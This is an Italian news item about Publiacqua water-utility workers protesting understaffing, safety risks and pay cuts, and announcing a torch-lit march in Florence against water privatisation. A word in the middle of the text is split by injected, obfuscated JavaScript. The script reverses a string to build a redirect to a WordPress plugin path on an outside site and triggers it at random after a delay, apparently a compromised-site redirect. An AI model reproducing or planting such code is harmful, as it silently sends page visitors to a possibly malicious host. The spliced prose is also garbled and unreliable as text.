Per l'acqua pubblica: scioperi e fiaccolata

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Personale ridotto, sicurezza a rischio e bollette care. Questa la situazione di Publiacqua secondo i lavoratori in mobilitazione, situazione immutata malgrado gli scioperi di agosto e settembre. Viene denunciato come irresponsabile il comportamento dell’azienda, per cui gran parte del personale si trova a lavorare come mono-operatore in impianti vasti e isolati, mentre le condizioni dei dipendenti peggiorano, con riduzione degli stipendi e modifica degli orari di lavoro in modo arbitrario e ingiusto. Il 25 gennaio scorso l’assemblea autoconvocata ha visto una gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande partecipazione tra i dipendenti, interessati a contrastare concretamente la deriva cui sta giungendo la gestione dell’acqua pubblica in Toscana e a stipulare un patto di mutuo soccorso a sostegno dei colleghi in difficoltà di Publiacqua. La prossima tappa è la manifestazione di sabato 9 febbraio a Firenze, un’intera giornata di discussione contro la privatizzazione del servizio idrico toscano che si concluderà con una fiaccolata sull’Arno. Per informazioni sul programma dettagliato: www.oroblu.splinder.com

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